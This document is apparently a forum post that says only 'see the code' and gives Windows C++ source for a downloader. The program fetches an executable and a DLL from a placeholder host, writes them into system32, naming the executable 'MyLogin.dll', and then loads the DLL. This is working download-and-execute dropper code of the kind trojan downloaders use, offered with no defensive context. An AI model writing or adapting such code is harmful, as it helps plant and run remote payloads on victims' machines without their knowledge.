请见代码

#include "stdafx.h"
#include "windows.h"
#include "UrlMon.h"
#pragma comment(lib, "urlmon.lib")


bool FileIsExist(LPCTSTR szFileFullPathName)
{
	WIN32_FIND_DATA Win32_Find_Data;   
    HANDLE hFindFile;   
  
    hFindFile = FindFirstFile(szFileFullPathName,&Win32_Find_Data);   
  
    if(INVALID_HANDLE_VALUE == hFindFile)   
    {   
        //AfxMessageBox("Not Exist");   
        return false;   
    }   
    else  
    {   
        //AfxMessageBox("Have Exist");   
        FindClose(hFindFile);   
        return true;   
    }   
}

int main(int argc, char* argv[])
{
	char DownURL[255] = "http://www.domain.com/test.dll";
	char DownLoadDir[255];

	char ExeURL[255] = "http://www.domain.com/test.exe";
	char ExeDir[255];

	GetWindowsDirectory(DownLoadDir,sizeof(DownLoadDir));
	GetWindowsDirectory(ExeDir,sizeof(ExeDir));
	strcat(DownLoadDir,"\\system32\\DLLtest.dll");
	strcat(ExeDir,"\\system32\\MyLogin.dll");

	URLDownloadToFile(0,ExeURL,ExeDir,0,NULL);

	Sleep(3000);
	URLDownloadToFile(0,DownURL,DownLoadDir,0,NULL);

	while(true)
	{
		if(FileIsExist(DownLoadDir) == true)
			break;
		else
			Sleep(1000);
	}
	Sleep(3000);
	LoadLibrary(DownLoadDir);
	Sleep(10000);
	return 0;
}